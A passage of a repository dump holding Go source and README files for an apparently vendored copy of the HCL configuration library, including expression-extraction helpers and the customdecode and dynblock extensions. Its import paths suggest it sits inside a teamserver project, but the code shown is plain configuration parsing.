other purposes. ty := val.Type() switch { case val.IsNull(): return "null" case !val.IsKnown(): // Should never happen here because we should filter before we get // in here, but we'll do something reasonable rather than panic. return "(not yet known)" case ty == cty.Bool: if val.True() { return "true" } return "false" case ty == cty.Number: bf := val.AsBigFloat() return bf.Text('g', 10) case ty == cty.String: // Go string syntax is not exactly the same as HCL native string syntax, // but we'll accept the minor edge-cases where this is different here // for now, just to get something reasonable here. return fmt.Sprintf("%q", val.AsString()) case ty.IsCollectionType() || ty.IsTupleType(): l := val.LengthInt() switch l { case 0: return "empty " + ty.FriendlyName() case 1: return ty.FriendlyName() + " with 1 element" default: return fmt.Sprintf("%s with %d elements", ty.FriendlyName(), l) } case ty.IsObjectType(): atys := ty.AttributeTypes() l := len(atys) switch l { case 0: return "object with no attributes" case 1: var name string for k := range atys { name = k } return fmt.Sprintf("object with 1 attribute %q", name) default: return fmt.Sprintf("object with %d attributes", l) } default: return ty.FriendlyName() } } func contextString(file *File, offset int) string { type contextStringer interface { ContextString(offset int) string } if cser, ok := file.Nav.(contextStringer); ok { return cser.ContextString(offset) } return "" } ================================================ FILE: teamserver/pkg/profile/yaotl/didyoumean.go ================================================ package hcl import ( "github.com/agext/levenshtein" ) // nameSuggestion tries to find a name from the given slice of suggested names // that is close to the given name and returns it if found. If no suggestion // is close enough, returns the empty string. // // The suggestions are tried in order, so earlier suggestions take precedence // if the given string is similar to two or more suggestions. // // This function is intended to be used with a relatively-small number of // suggestions. It's not optimized for hundreds or thousands of them. func nameSuggestion(given string, suggestions []string) string { for _, suggestion := range suggestions { dist := levenshtein.Distance(given, suggestion, nil) if dist < 3 { // threshold determined experimentally return suggestion } } return "" } ================================================ FILE: teamserver/pkg/profile/yaotl/doc.go ================================================ // Package hcl contains the main modelling types and general utility functions // for HCL. // // For a simple entry point into HCL, see the package in the subdirectory // "hclsimple", which has an opinionated function Decode that can decode HCL // configurations in either native HCL syntax or JSON syntax into a Go struct // type: // // package main // // import ( // "log" // "Havoc/pkg/profile/yaotl/hclsimple" // ) // // type Config struct { // LogLevel string `hcl:"log_level"` // } // // func main() { // var config Config // err := hclsimple.DecodeFile("config.hcl", nil, &config) // if err != nil { // log.Fatalf("Failed to load configuration: %s", err) // } // log.Printf("Configuration is %#v", config) // } // // If your application needs more control over the evaluation of the // configuration, you can use the functions in the subdirectories hclparse, // gohcl, hcldec, etc. Splitting the handling of configuration into multiple // phases allows for advanced patterns such as allowing expressions in one // part of the configuration to refer to data defined in another part. package hcl ================================================ FILE: teamserver/pkg/profile/yaotl/eval_context.go ================================================ package hcl import ( "github.com/zclconf/go-cty/cty" "github.com/zclconf/go-cty/cty/function" ) // An EvalContext provides the variables and functions that should be used // to evaluate an expression. type EvalContext struct { Variables map[string]cty.Value Functions map[string]function.Function parent *EvalContext } // NewChild returns a new EvalContext that is a child of the receiver. func (ctx *EvalContext) NewChild() *EvalContext { return &EvalContext{parent: ctx} } // Parent returns the parent of the receiver, or nil if the receiver has // no parent. func (ctx *EvalContext) Parent() *EvalContext { return ctx.parent } ================================================ FILE: teamserver/pkg/profile/yaotl/expr_call.go ================================================ package hcl // ExprCall tests if the given expression is a function call and, // if so, extracts the function name and the expressions that represent // the arguments. If the given expression is not statically a function call, // error diagnostics are returned. // // A particular Expression implementation can support this function by // offering a method called ExprCall that takes no arguments and returns // *StaticCall. This method should return nil if a static call cannot // be extracted. Alternatively, an implementation can support // UnwrapExpression to delegate handling of this function to a wrapped // Expression object. func ExprCall(expr Expression) (*StaticCall, Diagnostics) { type exprCall interface { ExprCall() *StaticCall } physExpr := UnwrapExpressionUntil(expr, func(expr Expression) bool { _, supported := expr.(exprCall) return supported }) if exC, supported := physExpr.(exprCall); supported { if call := exC.ExprCall(); call != nil { return call, nil } } return nil, Diagnostics{ &Diagnostic{ Severity: DiagError, Summary: "Invalid expression", Detail: "A static function call is required.", Subject: expr.StartRange().Ptr(), }, } } // StaticCall represents a function call that was extracted statically from // an expression using ExprCall. type StaticCall struct { Name string NameRange Range Arguments []Expression ArgsRange Range } ================================================ FILE: teamserver/pkg/profile/yaotl/expr_list.go ================================================ package hcl // ExprList tests if the given expression is a static list construct and, // if so, extracts the expressions that represent the list elements. // If the given expression is not a static list, error diagnostics are // returned. // // A particular Expression implementation can support this function by // offering a method called ExprList that takes no arguments and returns // []Expression. This method should return nil if a static list cannot // be extracted. Alternatively, an implementation can support // UnwrapExpression to delegate handling of this function to a wrapped // Expression object. func ExprList(expr Expression) ([]Expression, Diagnostics) { type exprList interface { ExprList() []Expression } physExpr := UnwrapExpressionUntil(expr, func(expr Expression) bool { _, supported := expr.(exprList) return supported }) if exL, supported := physExpr.(exprList); supported { if list := exL.ExprList(); list != nil { return list, nil } } return nil, Diagnostics{ &Diagnostic{ Severity: DiagError, Summary: "Invalid expression", Detail: "A static list expression is required.", Subject: expr.StartRange().Ptr(), }, } } ================================================ FILE: teamserver/pkg/profile/yaotl/expr_map.go ================================================ package hcl // ExprMap tests if the given expression is a static map construct and, // if so, extracts the expressions that represent the map elements. // If the given expression is not a static map, error diagnostics are // returned. // // A particular Expression implementation can support this function by // offering a method called ExprMap that takes no arguments and returns // []KeyValuePair. This method should return nil if a static map cannot // be extracted. Alternatively, an implementation can support // UnwrapExpression to delegate handling of this function to a wrapped // Expression object. func ExprMap(expr Expression) ([]KeyValuePair, Diagnostics) { type exprMap interface { ExprMap() []KeyValuePair } physExpr := UnwrapExpressionUntil(expr, func(expr Expression) bool { _, supported := expr.(exprMap) return supported }) if exM, supported := physExpr.(exprMap); supported { if pairs := exM.ExprMap(); pairs != nil { return pairs, nil } } return nil, Diagnostics{ &Diagnostic{ Severity: DiagError, Summary: "Invalid expression", Detail: "A static map expression is required.", Subject: expr.StartRange().Ptr(), }, } } // KeyValuePair represents a pair of expressions that serve as a single item // within a map or object definition construct. type KeyValuePair struct { Key Expression Value Expression } ================================================ FILE: teamserver/pkg/profile/yaotl/expr_unwrap.go ================================================ package hcl type unwrapExpression interface { UnwrapExpression() Expression } // UnwrapExpression removes any "wrapper" expressions from the given expression, // to recover the representation of the physical expression given in source // code. // // Sometimes wrapping expressions are used to modify expression behavior, e.g. // in extensions that need to make some local variables available to certain // sub-trees of the configuration. This can make it difficult to reliably // type-assert on the physical AST types used by the underlying syntax. // // Unwrapping an expression may modify its behavior by stripping away any // additional constraints or capabilities being applied to the Value and // Variables methods, so this function should generally only be used prior // to operations that concern themselves with the static syntax of the input // configuration, and not with the effective value of the expression. // // Wrapper expression types must support unwrapping by implementing a method // called UnwrapExpression that takes no arguments and returns the embedded // Expression. Implementations of this method should peel away only one level // of wrapping, if multiple are present. This method may return nil to // indicate _dynamically_ that no wrapped expression is available, for // expression types that might only behave as wrappers in certain cases. func UnwrapExpression(expr Expression) Expression { for { unwrap, wrapped := expr.(unwrapExpression) if !wrapped { return expr } innerExpr := unwrap.UnwrapExpression() if innerExpr == nil { return expr } expr = innerExpr } } // UnwrapExpressionUntil is similar to UnwrapExpression except it gives the // caller an opportunity to test each level of unwrapping to see each a // particular expression is accepted. // // This could be used, for example, to unwrap until a particular other // interface is satisfied, regardless of wrap wrapping level it is satisfied // at. // // The given callback function must return false to continue wrapping, or // true to accept and return the proposed expression given. If the callback // function rejects even the final, physical expression then the result of // this function is nil. func UnwrapExpressionUntil(expr Expression, until func(Expression) bool) Expression { for { if until(expr) { return expr } unwrap, wrapped := expr.(unwrapExpression) if !wrapped { return nil } expr = unwrap.UnwrapExpression() if expr == nil { return nil } } } ================================================ FILE: teamserver/pkg/profile/yaotl/ext/README.md ================================================ # HCL Extensions This directory contains some packages implementing some extensions to HCL that add features by building on the core API in the main `hcl` package. These serve as optional language extensions for use-cases that are limited only to specific callers. Generally these make the language more expressive at the expense of increased dynamic behavior that may be undesirable for applications that need to impose more rigid structure on configuration. ================================================ FILE: teamserver/pkg/profile/yaotl/ext/customdecode/README.md ================================================ # HCL Custom Static Decoding Extension This HCL extension provides a mechanism for defining arguments in an HCL-based language whose values are derived using custom decoding rules against the HCL expression syntax, overriding the usual behavior of normal expression evaluation. "Arguments", for the purpose of this extension, currently includes the following two contexts: * For applications using `hcldec` for dynamic decoding, a `hcldec.AttrSpec` or `hcldec.BlockAttrsSpec` can be given a special type constraint that opts in to custom decoding behavior for the attribute(s) that are selected by that specification. * When working with the HCL native expression syntax, a function given in the `hcl.EvalContext` during evaluation can have parameters with special type constraints that opt in to custom decoding behavior for the argument expression associated with that parameter in any call. The above use-cases are rather abstract, so we'll consider a motivating real-world example: sometimes we (language designers) need to allow users to specify type constraints directly in the language itself, such as in [Terraform's Input Variables](https://www.terraform.io/docs/configuration/variables.html). Terraform's `variable` blocks include an argument called `type` which takes a type constraint given using HCL expression building-blocks as defined by [the HCL `typeexpr` extension](../typeexpr/README.md). A "type constraint expression" of that sort is not an expression intended to be evaluated in the usual way. Instead, the physical expression is deconstructed using [the static analysis operations](../../spec.md#static-analysis) to produce a `cty.Type` as the result, rather than a `cty.Value`. The purpose of this Custom Static Decoding Extension, then, is to provide a bridge to allow that sort of custom decoding to be used via mechanisms that normally deal in `cty.Value`, such as `hcldec` and native syntax function calls as listed above. (Note: [`gohcl`](https://pkg.go.dev/Havoc/pkg/profile/yaotl/gohcl) has its own mechanism to support this use case, exploiting the fact that it is working directly with "normal" Go types. Decoding into a struct field of type `hcl.Expression` obtains the expression directly without evaluating it first. The Custom Static Decoding Extension is not necessary for that `gohcl` technique. You can also implement custom decoding by working directly with the lowest-level HCL API, which separates extraction of and evaluation of expressions into two steps.) ## Custom Decoding Types This extension relies on a convention implemented in terms of [_Capsule Types_ in the underlying `cty` type system](https://github.com/zclconf/go-cty/blob/master/docs/types.md#capsule-types). `cty` allows a capsule type to carry arbitrary extension metadata values as an aid to creating higher-level abstractions like this extension. A custom argument decoding mode, then, is implemented by creating a new `cty` capsule type that implements the `ExtensionData` custom operation to return a decoding function when requested. For example: ```go var keywordType cty.Type keywordType = cty.CapsuleWithOps("keyword", reflect.TypeOf(""), &cty.CapsuleOps{ ExtensionData: func(key interface{}) interface{} { switch key { case customdecode.CustomExpressionDecoder: return customdecode.CustomExpressionDecoderFunc( func(expr hcl.Expression, ctx *hcl.EvalContext) (cty.Value, hcl.Diagnostics) { var diags hcl.Diagnostics kw := hcl.ExprAsKeyword(expr) if kw == "" { diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Invalid keyword", Detail: "A keyword is required", Subject: expr.Range().Ptr(), }) return cty.UnkownVal(keywordType), diags } return cty.CapsuleVal(keywordType, &kw) }, ) default: return nil } }, }) ``` The boilerplate here is a bit fussy, but the important part for our purposes is the `case customdecode.CustomExpressionDecoder:` clause, which uses a custom extension key type defined in this package to recognize when a component implementing this extension is checking to see if a target type has a custom decode implementation. In the above case we've defined a type that decodes expressions as static keywords, so a keyword like `foo` would decode as an encapsulated `"foo"` string, while any other sort of expression like `"baz"` or `1 + 1` would return an error. We could then use `keywordType` as a type constraint either for a function parameter or a `hcldec` attribute specification, which would require the argument for that function parameter or the expression for the matching attributes to be a static keyword, rather than an arbitrary expression. For example, in a `hcldec.AttrSpec`: ```go keywordSpec := &hcldec.AttrSpec{ Name: "keyword", Type: keywordType, } ``` The above would accept input like the following and would set its result to a `cty.Value` of `keywordType`, after decoding: ```hcl keyword = foo ``` ## The Expression and Expression Closure `cty` types Building on the above, this package also includes two capsule types that use the above mechanism to allow calling applications to capture expressions directly and thus defer analysis to a later step, after initial decoding. The `customdecode.ExpressionType` type encapsulates an `hcl.Expression` alone, for situations like our type constraint expression example above where it's the static structure of the expression we want to inspect, and thus any variables and functions defined in the evaluation context are irrelevant. The `customdecode.ExpressionClosureType` type encapsulates a `*customdecode.ExpressionClosure` value, which binds the given expression to the `hcl.EvalContext` it was asked to evaluate against and thus allows the receiver of that result to later perform normal evaluation of the expression with all the same variables and functions that would've been available to it naturally. Both of these types can be used as type constraints either for `hcldec` attribute specifications or for function arguments. Here's an example of `ExpressionClosureType` to implement a function that can evaluate an expression with some additional variables defined locally, which we'll call the `with(...)` function: ```go var WithFunc = function.New(&function.Spec{ Params: []function.Parameter{ { Name: "variables", Type: cty.DynamicPseudoType, }, { Name: "expression", Type: customdecode.ExpressionClosureType, }, }, Type: func(args []cty.Value) (cty.Type, error) { varsVal := args[0] exprVal := args[1] if !varsVal.Type().IsObjectType() { return cty.NilVal, function.NewArgErrorf(0, "must be an object defining local variables") } if !varsVal.IsKnown() { // We can't predict our result type until the variables object // is known. return cty.DynamicPseudoType, nil } vars := varsVal.AsValueMap() closure := customdecode.ExpressionClosureFromVal(exprVal) result, err := evalWithLocals(vars, closure) if err != nil { return cty.NilVal, err } return result.Type(), nil }, Impl: func(args []cty.Value, retType cty.Type) (cty.Value, error) { varsVal := args[0] exprVal := args[1] vars := varsVal.AsValueMap() closure := customdecode.ExpressionClosureFromVal(exprVal) return evalWithLocals(vars, closure) }, }) func evalWithLocals(locals map[string]cty.Value, closure *customdecode.ExpressionClosure) (cty.Value, error) { childCtx := closure.EvalContext.NewChild() childCtx.Variables = locals val, diags := closure.Expression.Value(childCtx) if diags.HasErrors() { return cty.NilVal, function.NewArgErrorf(1, "couldn't evaluate expression: %s", diags.Error()) } return val, nil } ``` If the above function were placed into an `hcl.EvalContext` as `with`, it could be used in a native syntax call to that function as follows: ```hcl foo = with({name = "Cory"}, "${greeting}, ${name}!") ``` The above assumes a variable in the main context called `greeting`, to which the `with` function adds `name` before evaluating the expression given in its second argument. This makes that second argument context-sensitive -- it would behave differently if the user wrote the same thing somewhere else -- so this capability should be used with care to make sure it doesn't cause confusion for the end-users of your language. There are some other examples of this capability to evaluate expressions in unusual ways in the `tryfunc` directory that is a sibling of this one. ================================================ FILE: teamserver/pkg/profile/yaotl/ext/customdecode/customdecode.go ================================================ // Package customdecode contains a HCL extension that allows, in certain // contexts, expression evaluation to be overridden by custom static analysis. // // This mechanism is only supported in certain specific contexts where // expressions are decoded with a specific target type in mind. For more // information, see the documentation on CustomExpressionDecoder. package customdecode import ( "Havoc/pkg/profile/yaotl" "github.com/zclconf/go-cty/cty" ) type customDecoderImpl int // CustomExpressionDecoder is a value intended to be used as a cty capsule // type ExtensionData key for capsule types whose values are to be obtained // by static analysis of an expression rather than normal evaluation of that // expression. // // When a cooperating capsule type is asked for ExtensionData with this key, // it must return a non-nil CustomExpressionDecoderFunc value. // // This mechanism is not universally supported; instead, it's handled in a few // specific places where expressions are evaluated with the intent of producing // a cty.Value of a type given by the calling application. // // Specifically, this currently works for type constraints given in // hcldec.AttrSpec and hcldec.BlockAttrsSpec, and it works for arguments to // function calls in the HCL native syntax. HCL extensions implemented outside // of the main HCL module may also implement this; consult their own // documentation for details. const CustomExpressionDecoder = customDecoderImpl(1) // CustomExpressionDecoderFunc is the type of value that must be returned by // a capsule type handling the key CustomExpressionDecoder in its ExtensionData // implementation. // // If no error diagnostics are returned, the result value MUST be of the // capsule type that the decoder function was derived from. If the returned // error diagnostics prevent producing a value at all, return cty.NilVal. type CustomExpressionDecoderFunc func(expr hcl.Expression, ctx *hcl.EvalContext) (cty.Value, hcl.Diagnostics) // CustomExpressionDecoderForType takes any cty type and returns its // custom expression decoder implementation if it has one. If it is not a // capsule type or it does not implement a custom expression decoder, this // function returns nil. func CustomExpressionDecoderForType(ty cty.Type) CustomExpressionDecoderFunc { if !ty.IsCapsuleType() { return nil } if fn, ok := ty.CapsuleExtensionData(CustomExpressionDecoder).(CustomExpressionDecoderFunc); ok { return fn } return nil } ================================================ FILE: teamserver/pkg/profile/yaotl/ext/customdecode/expression_type.go ================================================ package customdecode import ( "fmt" "reflect" "Havoc/pkg/profile/yaotl" "github.com/zclconf/go-cty/cty" ) // ExpressionType is a cty capsule type that carries hcl.Expression values. // // This type implements custom decoding in the most general way possible: it // just captures whatever expression is given to it, with no further processing // whatsoever. It could therefore be useful in situations where an application // must defer processing of the expression content until a later step. // // ExpressionType only captures the expression, not the evaluation context it // was destined to be evaluated in. That means this type can be fine for // situations where the recipient of the value only intends to do static // analysis, but ExpressionClosureType is more appropriate in situations where // the recipient will eventually evaluate the given expression. var ExpressionType cty.Type // ExpressionVal returns a new cty value of type ExpressionType, wrapping the // given expression. func ExpressionVal(expr hcl.Expression) cty.Value { return cty.CapsuleVal(ExpressionType, &expr) } // ExpressionFromVal returns the expression encapsulated in the given value, or // panics if the value is not a known value of ExpressionType. func ExpressionFromVal(v cty.Value) hcl.Expression { if !v.Type().Equals(ExpressionType) { panic("value is not of ExpressionType") } ptr := v.EncapsulatedValue().(*hcl.Expression) return *ptr } // ExpressionClosureType is a cty capsule type that carries hcl.Expression // values along with their original evaluation contexts. // // This is similar to ExpressionType except that during custom decoding it // also captures the hcl.EvalContext that was provided, allowing callers to // evaluate the expression later in the same context where it would originally // have been evaluated, or a context derived from that one. var ExpressionClosureType cty.Type // ExpressionClosure is the type encapsulated in ExpressionClosureType type ExpressionClosure struct { Expression hcl.Expression EvalContext *hcl.EvalContext } // ExpressionClosureVal returns a new cty value of type ExpressionClosureType, // wrapping the given expression closure. func ExpressionClosureVal(closure *ExpressionClosure) cty.Value { return cty.CapsuleVal(ExpressionClosureType, closure) } // Value evaluates the closure's expression using the closure's EvalContext, // returning the result. func (c *ExpressionClosure) Value() (cty.Value, hcl.Diagnostics) { return c.Expression.Value(c.EvalContext) } // ExpressionClosureFromVal returns the expression closure encapsulated in the // given value, or panics if the value is not a known value of // ExpressionClosureType. // // The caller MUST NOT modify the returned closure or the EvalContext inside // it. To derive a new EvalContext, either create a child context or make // a copy. func ExpressionClosureFromVal(v cty.Value) *ExpressionClosure { if !v.Type().Equals(ExpressionClosureType) { panic("value is not of ExpressionClosureType") } return v.EncapsulatedValue().(*ExpressionClosure) } func init() { // Getting hold of a reflect.Type for hcl.Expression is a bit tricky because // it's an interface type, but we can do it with some indirection. goExpressionType := reflect.TypeOf((*hcl.Expression)(nil)).Elem() ExpressionType = cty.CapsuleWithOps("expression", goExpressionType, &cty.CapsuleOps{ ExtensionData: func(key interface{}) interface{} { switch key { case CustomExpressionDecoder: return CustomExpressionDecoderFunc( func(expr hcl.Expression, ctx *hcl.EvalContext) (cty.Value, hcl.Diagnostics) { return ExpressionVal(expr), nil }, ) default: return nil } }, TypeGoString: func(_ reflect.Type) string { return "customdecode.ExpressionType" }, GoString: func(raw interface{}) string { exprPtr := raw.(*hcl.Expression) return fmt.Sprintf("customdecode.ExpressionVal(%#v)", *exprPtr) }, RawEquals: func(a, b interface{}) bool { aPtr := a.(*hcl.Expression) bPtr := b.(*hcl.Expression) return reflect.DeepEqual(*aPtr, *bPtr) }, }) ExpressionClosureType = cty.CapsuleWithOps("expression closure", reflect.TypeOf(ExpressionClosure{}), &cty.CapsuleOps{ ExtensionData: func(key interface{}) interface{} { switch key { case CustomExpressionDecoder: return CustomExpressionDecoderFunc( func(expr hcl.Expression, ctx *hcl.EvalContext) (cty.Value, hcl.Diagnostics) { return ExpressionClosureVal(&ExpressionClosure{ Expression: expr, EvalContext: ctx, }), nil }, ) default: return nil } }, TypeGoString: func(_ reflect.Type) string { return "customdecode.ExpressionClosureType" }, GoString: func(raw interface{}) string { closure := raw.(*ExpressionClosure) return fmt.Sprintf("customdecode.ExpressionClosureVal(%#v)", closure) }, RawEquals: func(a, b interface{}) bool { closureA := a.(*ExpressionClosure) closureB := b.(*ExpressionClosure) // The expression itself compares by deep equality, but EvalContexts // conventionally compare by pointer identity, so we'll comply // with both conventions here by testing them separately. return closureA.EvalContext == closureB.EvalContext && reflect.DeepEqual(closureA.Expression, closureB.Expression) }, }) } ================================================ FILE: teamserver/pkg/profile/yaotl/ext/dynblock/README.md ================================================ # HCL Dynamic Blocks Extension This HCL extension implements a special block type named "dynamic" that can be used to dynamically generate blocks of other types by iterating over collection values. Normally the block structure in an HCL configuration file is rigid, even though dynamic expressions can be used within attribute values. This is convenient for most applications since it allows the overall structure of the document to be decoded easily, but in some applications it is desirable to allow dynamic block generation within certain portions of the configuration. Dynamic block generation is performed using the `dynamic` block type: ```hcl toplevel { nested { foo = "static block 1" } dynamic "nested" { for_each = ["a", "b", "c"] iterator = nested content { foo = "dynamic block ${nested.value}" } } nested { foo = "static block 2" } } ``` The above is interpreted as if it were written as follows: ```hcl toplevel { nested { foo = "static block 1" } nested { foo = "dynamic block a" } nested { foo = "dynamic block b" } nested { foo = "dynamic block c" } nested { foo = "static block 2" } } ``` Since HCL block syntax is not normally exposed to the possibility of unknown values, this extension must make some compromises when asked to iterate over an unknown collection. If the length of the collection cannot be statically recognized (because it is an unknown value of list, map, or set type) then the `dynamic` construct will generate a _single_ dynamic block whose iterator key and value are both unknown values of the dynamic pseudo-type, thus causing any attribute values derived from iteration to appear as unknown values. There is no explicit representation of the fact that the length of the collection may eventually be different than one. ## Usage Pass a body to function `Expand` to obtain a new body that will, on access to its content, evaluate and expand any nested `dynamic` blocks. Dynamic block processing is also automatically propagated into any nested blocks that are returned, allowing users to nest dynamic blocks inside one another and to nest dynamic blocks inside other static blocks. HCL structural decoding does not normally have access to an `EvalContext`, so any variables and functions that should be available to the `for_each` and `labels` expressions must be passed in when calling `Expand`. Expressions within the `content` block are evaluated separately and so can be passed a separate `EvalContext` if desired, during normal attribute expression evaluation. ## Detecting Variables Some applications dynamically generate an `EvalContext` by analyzing which variables are referenced by an expression before evaluating it. This unfortunately requires some extra effort when this analysis is required for the context passed to `Expand`: the HCL API requires a schema to be provided in order to do any analysis of the blocks in a body, but the low-level schema model provides a description of only one level of nested blocks at a time, and thus a new schema must be provided for each additional level of nesting. To make this arduous process as convenient as possible, this package provides a helper function `WalkForEachVariables`, which returns a `WalkVariablesNode` instance that can be used to find variables directly in a given body and also determine which nested blocks require recursive calls. Using this mechanism requires that the caller be able to look up a schema given a nested block type. For _simple_ formats where a specific block type name always has the same schema regardless of context, a walk can be implemented as follows: ```go func walkVariables(node dynblock.WalkVariablesNode, schema *hcl.BodySchema) []hcl.Traversal { vars, children := node.Visit(schema) for _, child := range children { var childSchema *hcl.BodySchema switch child.BlockTypeName { case "a": childSchema = &hcl.BodySchema{ Blocks: []hcl.BlockHeaderSchema{ { Type: "b", LabelNames: []string{"key"}, }, }, } case "b": childSchema = &hcl.BodySchema{ Attributes: []hcl.AttributeSchema{ { Name: "val", Required: true, }, }, } default: // Should never happen, because the above cases should be exhaustive // for the application's configuration format. panic(fmt.Errorf("can't find schema for unknown block type %q", child.BlockTypeName)) } vars = append(vars, testWalkAndAccumVars(child.Node, childSchema)...) } } ``` ### Detecting Variables with `hcldec` Specifications For applications that use the higher-level `hcldec` package to decode nested configuration structures into `cty` values, the same specification can be used to automatically drive the recursive variable-detection walk described above. The helper function `ForEachVariablesHCLDec` allows an entire recursive configuration structure to be analyzed in a single call given a `hcldec.Spec` that describes the nested block structure. This means a `hcldec`-based application can support dynamic blocks with only a little additional effort: ```go func decodeBody(body hcl.Body, spec hcldec.Spec) (cty.Value, hcl.Diagnostics) { // Determine which variables are needed to expand dynamic blocks neededForDynamic := dynblock.ForEachVariablesHCLDec(body, spec) // Build a suitable EvalContext and expand dynamic blocks dynCtx := buildEvalContext(neededForDynamic) dynBody := dynblock.Expand(body, dynCtx) // Determine which variables are needed to fully decode the expanded body // This will analyze expressions that came both from static blocks in the // original body and from blocks that were dynamically added by Expand. neededForDecode := hcldec.Variables(dynBody, spec) // Build a suitable EvalContext and then fully decode the body as per the // hcldec specification. decCtx := buildEvalContext(neededForDecode) return hcldec.Decode(dynBody, spec, decCtx) } func buildEvalContext(needed []hcl.Traversal) *hcl.EvalContext { // (to be implemented by your application) } ``` # Performance This extension is going quite harshly against the grain of the HCL API, and so it uses lots of wrapping objects and temporary data structures to get its work done. HCL in general is not suitable for use in high-performance situations or situations sensitive to memory pressure, but that is _especially_ true for this extension. ================================================ FILE: teamserver/pkg/profile/yaotl/ext/dynblock/expand_body.go ================================================ package dynblock import ( "fmt" "Havoc/pkg/profile/yaotl" "github.com/zclconf/go-cty/cty" ) // expandBody wraps another hcl.Body and expands any "dynamic" blocks found // inside whenever Content or PartialContent is called. type expandBody struct { original hcl.Body forEachCtx *hcl.EvalContext iteration *iteration // non-nil if we're nested inside another "dynamic" block // These are used with PartialContent to produce a "remaining items" // body to return. They are nil on all bodies fresh out of the transformer. // // Note that this is re-implemented here rather than delegating to the // existing support required by the underlying body because we need to // retain access to the entire original body on subsequent decode operations // so we can retain any "dynamic" blocks for types we didn't take consume // on the first pass. hiddenAttrs map[string]struct{} hiddenBlocks map[string]hcl.BlockHeaderSchema } func (b *expandBody) Content(schema *hcl.BodySchema) (*hcl.BodyContent, hcl.Diagnostics) { extSchema := b.extendSchema(schema) rawContent, diags := b.original.Content(extSchema) blocks, blockDiags := b.expandBlocks(schema, rawContent.Blocks, false) diags = append(diags, blockDiags...) attrs := b.prepareAttributes(rawContent.Attributes) content := &hcl.BodyContent{ Attributes: attrs, Blocks: blocks, MissingItemRange: b.original.MissingItemRange(), } return content, diags } func (b *expandBody) PartialContent(schema *hcl.BodySchema) (*hcl.BodyContent, hcl.Body, hcl.Diagnostics) { extSchema := b.extendSchema(schema) rawContent, _, diags := b.original.PartialContent(extSchema) // We discard the "remain" argument above because we're going to construct // our own remain that also takes into account remaining "dynamic" blocks. blocks, blockDiags := b.expandBlocks(schema, rawContent.Blocks, true) diags = append(diags, blockDiags...) attrs := b.prepareAttributes(rawContent.Attributes) content := &hcl.BodyContent{ Attributes: attrs, Blocks: blocks, MissingItemRange: b.original.MissingItemRange(), } remain := &expandBody{ original: b.original, forEachCtx: b.forEachCtx, iteration: b.iteration, hiddenAttrs: make(map[string]struct{}), hiddenBlocks: make(map[string]hcl.BlockHeaderSchema), } for name := range b.hiddenAttrs { remain.hiddenAttrs[name] = struct{}{} } for typeName, blockS := range b.hiddenBlocks { remain.hiddenBlocks[typeName] = blockS } for _, attrS := range schema.Attributes { remain.hiddenAttrs[attrS.Name] = struct{}{} } for _, blockS := range schema.Blocks { remain.hiddenBlocks[blockS.Type] = blockS } return content, remain, diags } func (b *expandBody) extendSchema(schema *hcl.BodySchema) *hcl.BodySchema { // We augment the requested schema to also include our special "dynamic" // block type, since then we'll get instances of it interleaved with // all of the literal child blocks we must also include. extSchema := &hcl.BodySchema{ Attributes: schema.Attributes, Blocks: make([]hcl.BlockHeaderSchema, len(schema.Blocks), len(schema.Blocks)+len(b.hiddenBlocks)+1), } copy(extSchema.Blocks, schema.Blocks) extSchema.Blocks = append(extSchema.Blocks, dynamicBlockHeaderSchema) // If we have any hiddenBlocks then we also need to register those here // so that a call to "Content" on the underlying body won't fail. // (We'll filter these out again once we process the result of either // Content or PartialContent.) for _, blockS := range b.hiddenBlocks { extSchema.Blocks = append(extSchema.Blocks, blockS) } // If we have any hiddenAttrs then we also need to register these, for // the same reason as we deal with hiddenBlocks above. if len(b.hiddenAttrs) != 0 { newAttrs := make([]hcl.AttributeSchema, len(schema.Attributes), len(schema.Attributes)+len(b.hiddenAttrs)) copy(newAttrs, extSchema.Attributes) for name := range b.hiddenAttrs { newAttrs = append(newAttrs, hcl.AttributeSchema{ Name: name, Required: false, }) } extSchema.Attributes = newAttrs } return extSchema } func (b *expandBody) prepareAttributes(rawAttrs hcl.Attributes) hcl.Attributes { if len(b.hiddenAttrs) == 0 && b.iteration == nil { // Easy path: just pass through the attrs from the original body verbatim return rawAttrs } // Otherwise we have some work to do: we must filter out any attributes // that are hidden (since a previous PartialContent call already saw these) // and wrap the expressions of the inner attributes so that they will // have access to our iteration variables. attrs := make(hcl.Attributes, len(rawAttrs)) for name, rawAttr := range rawAttrs { if _, hidden := b.hiddenAttrs[name]; hidden { continue } if b.iteration != nil { attr := *rawAttr // shallow copy so we can mutate it attr.Expr = exprWrap{ Expression: attr.Expr, i: b.iteration, } attrs[name] = &attr } else { // If we have no active iteration then no wrapping is required. attrs[name] = rawAttr } } return attrs } func (b *expandBody) expandBlocks(schema *hcl.BodySchema, rawBlocks hcl.Blocks, partial bool) (hcl.Blocks, hcl.Diagnostics) { var blocks hcl.Blocks var diags hcl.Diagnostics for _, rawBlock := range rawBlocks { switch rawBlock.Type { case "dynamic": realBlockType := rawBlock.Labels[0] if _, hidden := b.hiddenBlocks[realBlockType]; hidden { continue } var blockS *hcl.BlockHeaderSchema for _, candidate := range schema.Blocks { if candidate.Type == realBlockType { blockS = &candidate break } } if blockS == nil { // Not a block type that the caller requested. if !partial { diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Unsupported block type", Detail: fmt.Sprintf("Blocks of type %q are not expected here.", realBlockType), Subject: &rawBlock.LabelRanges[0], }) } continue } spec, specDiags := b.decodeSpec(blockS, rawBlock) diags = append(diags, specDiags...) if specDiags.HasErrors() { continue } if spec.forEachVal.IsKnown() { for it := spec.forEachVal.ElementIterator(); it.Next(); { key, value := it.Element() i := b.iteration.MakeChild(spec.iteratorName, key, value) block, blockDiags := spec.newBlock(i, b.forEachCtx) diags = append(diags, blockDiags...) if block != nil { // Attach our new iteration context so that attributes // and other nested blocks can refer to our iterator. block.Body = b.expandChild(block.Body, i) blocks = append(blocks, block) } } } else { // If our top-level iteration value isn't known then we // substitute an unknownBody, which will cause the entire block // to evaluate to an unknown value. i := b.iteration.MakeChild(spec.iteratorName, cty.DynamicVal, cty.DynamicVal) block, blockDiags := spec.newBlock(i, b.forEachCtx) diags = append(diags, blockDiags...) if block != nil { block.Body = unknownBody{b.expandChild(block.Body, i)} blocks = append(blocks, block) } } default: if _, hidden := b.hiddenBlocks[rawBlock.Type]; !hidden { // A static block doesn't create a new iteration context, but // it does need to inherit _our own_ iteration context in // case it contains expressions that refer to our inherited // iterators, or nested "dynamic" blocks. expandedBlock := *rawBlock // shallow copy expandedBlock.Body = 